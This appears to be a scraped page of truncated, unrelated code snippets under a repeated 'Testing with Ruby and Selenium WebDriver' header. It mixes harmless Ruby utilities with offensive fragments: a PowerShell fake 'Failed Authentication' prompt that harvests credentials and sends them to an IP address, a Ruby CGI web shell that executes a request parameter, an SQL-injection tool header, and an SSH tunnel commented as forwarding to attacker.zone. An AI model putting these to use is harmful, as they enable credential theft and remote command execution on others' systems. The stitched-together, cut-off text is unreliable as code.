#Getting Started
##Webpage:
<html>
<head>
<title>Testing with Ruby and Selenium WebDriver</title>
</head>
<body bgcolor="antiquewhite">
| class CircularList < Array | |
| def index | |
| @index ||=0 | |
| @index.abs | |
| end | |
| def current | |
| @index ||= 0 | |
| get_at(@index) | |
| end |
| $cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName + "\" + [Environment]::UserName,[Environment]::UserDomainName); | |
| [System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}; | |
| $wc = new-object net.webclient; | |
| $wc.Proxy = [System.Net.WebRequest]::DefaultWebProxy; | |
| $wc.Proxy.Credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials; | |
| $wc.credentials = new-object system.net.networkcredential($cred.username, $cred.getnetworkcredential().password, ''); | |
| $result = $wc.downloadstring('https://172.16.102.163'); |
| #!/usr/bin/env ruby | |
| # echo "GET /cgi/shell.rb?cmd=ls%20-la" | nc localhost 80 | |
| require 'cgi' | |
| cgi = CGI.new | |
| puts cgi.header | |
| system(cgi['cmd']) |
| # Find All sum of 3-values that if we subtract from 0x1035E8EA wil give us 0x1035FFB4 | |
| # 0x1035E8EA | |
| # 0x55554d66 - | |
| # 0x55554b66 - | |
| # 0x5555506a - | |
| # ------------ | |
| # 0x1035FFB4 | |
| CHARS = | |
| [ |
| require "net/http" | |
| # Login | |
| uri = URI.parse("http://xx.xx.xx/Login.aspx") | |
| http = Net::HTTP.new(uri.host, uri.port) | |
| http.set_debug_output($stdout) | |
| request_login = Net::HTTP::Post.new(uri.request_uri) | |
| request_login["Accept-Language"] = "en-US,en;q=0.5" |
| #!/usr/bin/env ruby | |
| # | |
| # KING SABRI | |
| # Hisoka SQLi - For Ibrahim | |
| # | |
| require 'open-uri' | |
| require 'uri' | |
| if ARGV.size < 2 | |
| puts "[+] ruby #{__FILE__} <IP_ADDRESS> <PAYLOAD>" |
| class String | |
| def mv_up(n=1) | |
| cursor(self, "\033[#{n}A") | |
| end | |
| def mv_down(n=1) | |
| cursor(self, "\033[#{n}B") | |
| end | |
| def mv_fw(n=1) |
#Getting Started
##Webpage:
<html>
<head>
<title>Testing with Ruby and Selenium WebDriver</title>
</head>
<body bgcolor="antiquewhite">
| #!/usr/bin/evn ruby | |
| require 'net/ssh' | |
| Net::SSH.start("127.0.0.1", 'fish', :password => 'fisheye', :verbose => :debug) do |ssh| | |
| # Forward connections coming on port 3333 to port 3389 of attacker.zone | |
| ssh.forward.local('0.0.0.0', 3333, "172.16.16.136", 80) | |
| puts "[+] Starting SSH port forward tunnel" | |
| ssh.loop { true } | |
| end |
| # In Java, the following expression | |
| # Integer.toHexString(1286933134) | |
| # produces: | |
| # "4cb50a8e" | |
| # and | |
| # Integer.toHexString(-1286933134) | |
| # produces: | |
| # "b34af572" | |
| # ref doc: http://docs.oracle.com/javase/7/docs/api/java/lang/Integer.html#toHexString(int) |